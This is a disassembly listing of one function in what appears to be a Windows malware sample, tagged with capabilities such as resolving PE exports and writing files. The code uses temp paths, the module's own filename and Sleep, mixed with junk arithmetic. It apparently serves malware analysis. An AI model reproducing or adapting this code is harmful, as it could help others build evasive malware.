Function at 0x408d70
Capabilities:
Get common file path
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41e358
mov eax, dword fs:[0]
push eax
sub esp, 0xe0
mov eax, dword [0x425f90]
xor eax, esp
mov dword [esp + 0xd8], eax
push ebx
push esi
push edi
mov eax, dword [0x425f90]
xor eax, esp
push eax
lea eax, [esp + 0xf0]
mov dword fs:[0], eax
fldz
xor eax, eax
fst qword [esp + 0x2c]
xor ecx, ecx
fldz
mov word [esp + 0x20], ax
mov word [esp + 0x34], cx
fst dword [esp + 0x24]
fxch st(1)
xor edx, edx
fst qword [esp + 0x4c]
xor esi, esi
fxch st(1)
fst dword [esp + 0x6c]
mov word [esp + 0x40], dx
fstp dword [esp + 0x5c]
mov dword [esp + 0x3c], esi
fstp qword [esp + 0x44]
mov ax, word [0x424214]
movsx ecx, ax
mov dword [esp + 0x28], ecx
fild dword [esp + 0x28]
fsub qword [esp + 0x2c]
call fcn.0040af20
xor edi, edi
mov word [0x424214], ax
mov dword [esp + 0x64], edi
mov dword [esp + 0x68], esi
mov dword [esp + 0xa0], 0xf
mov dword [esp + 0x9c], esi
mov byte [esp + 0x8c], 0
push 0x118
mov dword [esp + 0xfc], esi
call fcn.0040b01a
push eax
mov dword [esp + 0x80], eax
call fcn.00404590
add esp, 8
fld qword [esp + 0x2c]
push 0
fadd qword [0x41f358]
fstp qword [esp + 0x30]
fld dword [0x4241ec]
mov edx, dword [esp + 0x40]
mov dword [esp + 0x2c], edx
fild dword [esp + 0x2c]
fadd qword [esp + 0x30]
fsub qword [0x41f878]
fsubp st(1)
fstp dword [0x4241ec]
dec dword [esp + 0x40]
call fcn.0040ae4a
add esp, 4
cmp edx, esi
mov dword [esp + 0x7c], eax
mov dword [esp + 0x80], edx
jg 0x408eb1
jl 0x408ea5
cmp eax, edi
jae 0x408eb1
xor edi, edi
xor esi, esi
mov dword [esp + 0x64], edi
mov dword [esp + 0x68], esi
mov ecx, eax
sub ecx, edi
mov edi, edx
sbb edi, esi
mov dword [esp + 0x18], edi
js 0x409795
jg 0x408ed1
cmp ecx, 0x708
jbe 0x409795
mov esi, eax
mov dword [esp + 0x64], eax
mov ax, word [0x424260]
mov cx, word [0x423500]
mov dword [esp + 0x68], edx
cwde
movsx edx, cx
sub edx, eax
mov dword [esp + 0x38], edx
shr esi, 9
push 0x408
fild dword [esp + 0x3c]
lea ebx, [esi + 0x55]
push 0x424600
mov dword [esp + 0x30], 0
fstp qword [0x425de0]
inc word [0x423500]
mov dword [esp + 0x60], esi
mov dword [esp + 0x1c], ebx
call fcn.004014e0
push 0xd
push 0x424ae0
mov dword [esp + 0x80], eax
call fcn.004014e0
add dword [0x423508], 0xf8ead91f
mov edi, eax
push 0xaf1
push 0x4252a0
mov dword [esp + 0x78], edi
call fcn.004014e0
push 0x31e
push 0x423170
mov dword [esp + 0x58], eax
call fcn.004014e0
add esp, 0x20
mov dword [esp + 0x74], eax
cmp esi, ebx
je 0x40947e
lea esp, [esp]
mov eax, dword [0x4277a0]
push 0
push eax
call fcn.00401cb0
add esp, 8
test eax, eax
jne 0x408faa
mov ecx, dword [0x4277a8]
mov edx, dword [0x4272e4]
push ecx
push edx
call fcn.004011e0
add esp, 8
fld qword [esp + 0x44]
mov ax, word [esp + 0x20]
fadd qword [0x41f870]
movsx ecx, ax
mov dword [esp + 0x10], ecx
fild dword [esp + 0x10]
fsubp st(1)
call fcn.0040af20
mov edx, dword [esp + 0x58]
mov ecx, dword [esp + 0x38]
mov word [0x4242c8], ax
fld qword [esp + 0x44]
mov eax, dword [esp + 0x74]
fadd qword [0x41f358]
push edx
push eax
push ecx
fstp qword [esp + 0x50]
lea edx, [esp + 0xb0]
push edx
call fcn.00402ec0
push 0x8b
push 0x424a30
call fcn.004014e0
mov ebx, eax
mov eax, dword [esp + 0x78]
add esp, 0x18
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409015
mov edi, ebx
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x409021
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x2710
mov ecx, eax
push 0
and ecx, 3
lea eax, [esp + 0x90]
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xb0]
push ebx
push ecx
call fcn.00408550
push 0x8b
fldz
push 0
mov dword [esp + 0x2c], 0
fstp dword [esp + 0x2c]
push ebx
call fcn.0040b4f0
push ebx
call fcn.0040b455
mov eax, dword [esp + 0xb0]
add esp, 0x24
cmp dword [esp + 0xa0], 0x10
jae 0x409090
lea eax, [esp + 0x8c]
mov edx, dword [esp + 0x9c]
push edx
push eax
mov eax, dword [esp + 0x78]
push eax
call fcn.00407f90
fld qword [esp + 0x58]
fcomp qword [0x41f868]
mov edx, eax
add esp, 0xc
fnstsw ax
test ah, 5
jp 0x4090fa
fld qword [0x424128]
fcomp qword [0x41f860]
fnstsw ax
test ah, 0x41
jp 0x40911b
fld dword [0x423148]
fld dword [esp + 0x24]
fld dword [esp + 0x24]
faddp st(2)
fxch st(1)
fadd qword [0x41f858]
fsubp st(1)
fstp dword [esp + 0x24]
fld dword [esp + 0x24]
fsub qword [0x41f358]
fstp dword [esp + 0x24]
jmp 0x40911b
mov cx, word [esp + 0x40]
movsx eax, cx
add eax, 0x797c5c0b
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
fmul dword [esp + 0x6c]
fstp dword [esp + 0x6c]
dec dword [esp + 0x40]
cmp edx, 9
jl 0x409414
mov eax, dword [esp + 0x8c]
mov edi, 0x10
cmp dword [esp + 0xa0], edi
jae 0x409140
lea eax, [esp + 0x8c]
mov ecx, dword [eax]
xor eax, eax
cmp eax, dword [esp + 0x80]
jl 0x409414
jg 0x40915d
cmp ecx, dword [esp + 0x7c]
jb 0x409414
lea esi, [edx - 1]
cmp esi, dword [esp + 0x9c]
jbe 0x40916e
call fcn.0040bac3
mov eax, dword [esp + 0x8c]
cmp dword [esp + 0xa0], edi
jae 0x409185
lea eax, [esp + 0x8c]
mov byte [eax + esi], 0
mov esi, dword [esp + 0xa0]
mov ebx, dword [esp + 0x8c]
mov eax, ebx
cmp esi, edi
jae 0x4091a4
lea eax, [esp + 0x8c]
lea ecx, [esp + 0xa4]
add eax, 8
mov edi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4091d0
test dl, dl
je 0x4091cc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4091d0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4091b0
xor eax, eax
jmp 0x4091d5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x409414
cmp esi, edi
jb 0x4092b9
mov edi, ebx
test ebx, ebx
je 0x409218
mov eax, ebx
cmp esi, 0x10
jae 0x4091f9
lea eax, [esp + 0x8c]
cmp eax, edi
ja 0x409218
mov eax, ebx
cmp esi, 0x10
jae 0x40920b
lea eax, [esp + 0x8c]
mov ecx, dword [esp + 0x9c]
add eax, ecx
cmp edi, eax
jbe 0x409224
call fcn.0040bac3
mov ecx, dword [esp + 0x9c]
lea esi, [esp + 0x88]
mov ebx, edi
mov edx, dword [esp + 0xa0]
mov eax, dword [esp + 0x8c]
cmp edx, 0x10
jae 0x409247
lea eax, [esp + 0x8c]
lea edi, [eax + ecx]
test edi, edi
je 0x40927e
mov eax, dword [esp + 0x8c]
cmp edx, 0x10
jae 0x409261
lea eax, [esp + 0x8c]
cmp eax, edi
ja 0x40927e
mov eax, dword [esp + 0x8c]
cmp edx, 0x10
jae 0x409278
lea eax, [esp + 0x8c]
add eax, ecx
cmp edi, eax
jbe 0x409283
call fcn.0040bac3
cmp esi, 0xfffffffc
je 0x40929c
test esi, esi
je 0x409297
lea ecx, [esp + 0x88]
cmp esi, ecx
je 0x40929c
call fcn.0040bac3
cmp ebx, edi
je 0x409318
cmp esi, 0xfffffffc
je 0x4092d6
test esi, esi
jne 0x4092ae
call fcn.0040bac3
cmp dword [esi + 0x18], 0x10
jb 0x4092c5
mov eax, dword [esi + 4]
jmp 0x4092c8
lea edi, [esp + 0x8c]
jmp 0x4091eb
lea eax, [esi + 4]
mov edx, dword [esi + 0x14]
add edx, eax
cmp ebx, edx
jb 0x4092d6
call fcn.0040bac3
mov byte [ebx], 0
cmp esi, 0xfffffffc
je 0x409303
test esi, esi
jne 0x4092e7
call fcn.0040bac3
cmp dword [esi + 0x18], 0x10
jb 0x4092f2
mov eax, dword [esi + 4]
jmp 0x4092f5
lea eax, [esi + 4]
mov ecx, dword [esi + 0x14]
add ecx, eax
cmp ebx, ecx
jb 0x409303
call fcn.0040bac3
mov ecx, dword [esp + 0x9c]
inc ebx
mov dword [esp + 0x3c], 0x2054359e
jmp 0x40922d
push 0x7e
push 0x424a30
call fcn.004014e0
xor ebx, ebx
push ebx
push ebx
lea edx, [esp + 0x98]
mov esi, eax
push edx
lea eax, [esp + 0xb8]
push esi
push eax
call fcn.00408550
fldz
push 0x7e
push ebx
mov dword [esp + 0x34], ebx
fstp dword [esp + 0x34]
push esi
call fcn.0040b4f0
push esi
call fcn.0040b455
push 0xc
push 0x425198
call fcn.004014e0
fld qword [esp + 0x60]
fsub qword [0x41f358]
add esp, 0x34
mov esi, eax
fstp qword [esp + 0x2c]
mov cx, word [0x424a18]
movsx edx, cx
mov dword [esp + 0x10], edx
fild dword [esp + 0x10]
fld qword [esp + 0x2c]
fadd qword [esp + 0x44]
fsub qword [0x41f850]
fsubp st(1)
call fcn.0040af20
mov word [0x424a18], ax
mov eax, esi
lea ecx, [eax + 1]
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4093b0
sub eax, ecx
push eax
push 0xffffffffffffffff
push esi
lea ecx, [esp + 0x94]
call fcn.004052a0
fldz
mov edi, eax
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esp + 0x10], ebx
fstp dword [esp + 0x10]
push esi
mov dword [esi + 8], eax
call fcn.0040b455
fld dword [0x424310]
fadd qword [esp + 0x50]
add esp, 4
fstp dword [0x424310]
fld qword [esp + 0x4c]
mov eax, dword [esp + 0x9c]
fsub qword [0x41f358]
add eax, 0xfffffff5
fstp qword [esp + 0x4c]
cmp edi, eax
je 0x409429
mov eax, dword [esp + 0x58]
inc eax
mov dword [esp + 0x58], eax
cmp eax, dword [esp + 0x14]
jne 0x408f80
jmp 0x40947a
push 0xb
push edi
lea ecx, [esp + 0x90]
call fcn.00406a90
fld dword [esp + 0x5c]
fadd dword [esp + 0x24]
mov cx, word [esp + 0x34]
movsx edx, cx
mov dword [esp + 0x14], edx
fild dword [esp + 0x14]
faddp st(1)
call fcn.0040af20
mov word [esp + 0x34], ax
fld dword [esp + 0x24]
fld1
mov dword [esp + 0x28], 1
fadd st(1), st(0)
fxch st(1)
fstp dword [esp + 0x24]
fadd dword [esp + 0x5c]
fstp dword [esp + 0x5c]
mov edi, dword [esp + 0x60]
fldz
mov ebx, dword [esp + 0x70]
xor esi, esi
push 0x408
push esi
mov dword [esp + 0x1c], esi
fstp dword [esp + 0x1c]
push ebx
call fcn.0040b4f0
push ebx
call fcn.0040b455
fldz
xor eax, eax
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [esp + 0x24], esi
fstp dword [esp + 0x24]
push edi
mov byte [edi + 0xc], al
call fcn.0040b455
fldz
mov edi, dword [esp + 0x88]
push 0x31e
push esi
mov dword [esp + 0x30], esi
fstp dword [esp + 0x30]
push edi
call fcn.0040b4f0
push edi
call fcn.0040b455
fldz
mov edi, dword [esp + 0x5c]
push 0xaf1
push esi
mov dword [esp + 0x40], esi
fstp dword [esp + 0x40]
push edi
call fcn.0040b4f0
push edi
call fcn.0040b455
push 0x40
lea eax, [esp + 0xdc]
push esi
push eax
call fcn.0040b4f0
add esp, 0x40
cmp dword [esp + 0x28], esi
je 0x409795
mov ecx, dword [esp + 0x78]
push 0x708
push ecx
call fcn.004035b0
add esp, 8
cmp dword [esp + 0x9c], 0x200
jbe 0x409795
push 0x370
call fcn.0040b01a
add esp, 4
mov ebx, eax
push ebx
push 0xeb
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push ebx
call fcn.004043b0
push 3
push 0x425da8
call fcn.004014e0
mov esi, eax
push esi
push ebx
call fcn.0040b94f
fldz
mov edi, eax
xor eax, eax
mov dword [esp + 0x2c], eax
fstp dword [esp + 0x2c]
mov word [esi], ax
push esi
mov byte [esi + 2], al
call fcn.0040b455
mov eax, dword [esp + 0xa8]
add esp, 0x1c
cmp dword [esp + 0xa0], 0x10
jae 0x4095b2
lea eax, [esp + 0x8c]
mov edx, dword [esp + 0x9c]
push edi
push 1
push edx
push eax
call fcn.0040b809
movzx eax, word [esp + 0x30]
movzx ecx, word [esp + 0x30]
lea edx, [eax + ecx + 0x736083ad]
mov word [esp + 0x30], dx
inc dword [esp + 0x30]
push edi
call fcn.0040b62b
add esp, 0x14
push 0x104
lea eax, [ebx + 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x15
push 0x424168
call fcn.004014e0
push 0x20
push 0x424104
mov edi, eax
call fcn.004014e0
mov esi, eax
mov eax, dword [0x4277a0]
push eax
push esi
lea eax, [ebx + 0x104]
push eax
push edi
lea eax, [ebx + 0x208]
push 0x168
push eax
call fcn.0040bb9f
fldz
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esp + 0x3c], eax
fstp dword [esp + 0x3c]
mov dword [esi + 0x18], eax
push esi
mov dword [esi + 0x1c], eax
call fcn.0040b455
fld dword [str.F5N]
fstp dword [0x42424c]
xor eax, eax
fldz
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
mov dword [esp + 0x40], 0
fstp dword [esp + 0x40]
push edi
mov byte [edi + 0x14], al
call fcn.0040b455
mov ecx, dword [0x4277a0]
push 1
push ecx
call fcn.00401cb0
lea eax, [ebx + 0x208]
push eax
push ebx
call fcn.004011e0
add esp, 0x40
push 0x370
push 0
push ebx
call fcn.0040b4f0
push ebx
call fcn.0040b455
add esp, 0x10
mov dx, word [esp + 0x20]
movsx eax, dx
mov dword [esp + 0x14], eax
push 0x15f90
fild dword [esp + 0x18]
fmul qword [esp + 0x48]
fstp qword [esp + 0x48]
dec dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [0x4242f0]
fld1
fsub st(1), st(0)
fxch st(1)
fstp dword [0x4242f0]
fld dword [0x4242f0]
fadd qword [0x424318]
fld qword [esp + 0x4c]
fld qword [esp + 0x2c]
fsubp st(2)
fcompp
fnstsw ax
fld qword [0x424318]
fsub st(1)
fstp qword [0x424318]
test ah, 5
jp 0x40976e
mov cx, word [esp + 0x40]
movsx edx, cx
add edx, 0x7db66556
cmp edx, 0xed19af8f
je 0x409793
fld qword [esp + 0x44]
fadd st(1)
fstp qword [esp + 0x44]
fsubr qword [esp + 0x4c]
fstp qword [esp + 0x4c]
fld qword [esp + 0x44]
fadd qword [esp + 0x2c]
fadd qword [esp + 0x4c]
fmul dword [0x4243a8]
fstp dword [0x4243a8]
jmp 0x409795
inc dword [esp + 0x34]
fstp st(0)
mov ax, word [esp + 0x34]
movsx ecx, ax
mov edx, 0xc58723dd
sub edx, ecx
mov dword [esp + 0x14], edx
fild dword [esp + 0x14]
fstp qword [0x4240f8]
jmp 0x409795
fstp st(0)
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x4277a0]
push 0
push eax
call fcn.00401cb0
add esp, 8
test eax, eax
jne 0x4097ca
mov ecx, dword [0x4277a8]
mov edx, dword [0x4272e4]
push ecx
push edx
call fcn.004011e0
add esp, 8
fld dword [0x424a08]
mov esi, dword [esp + 0x68]
fsub qword [0x41f840]
mov edi, dword [esp + 0x64]
fadd qword [esp + 0x2c]
fstp qword [esp + 0x2c]
jmp 0x408e50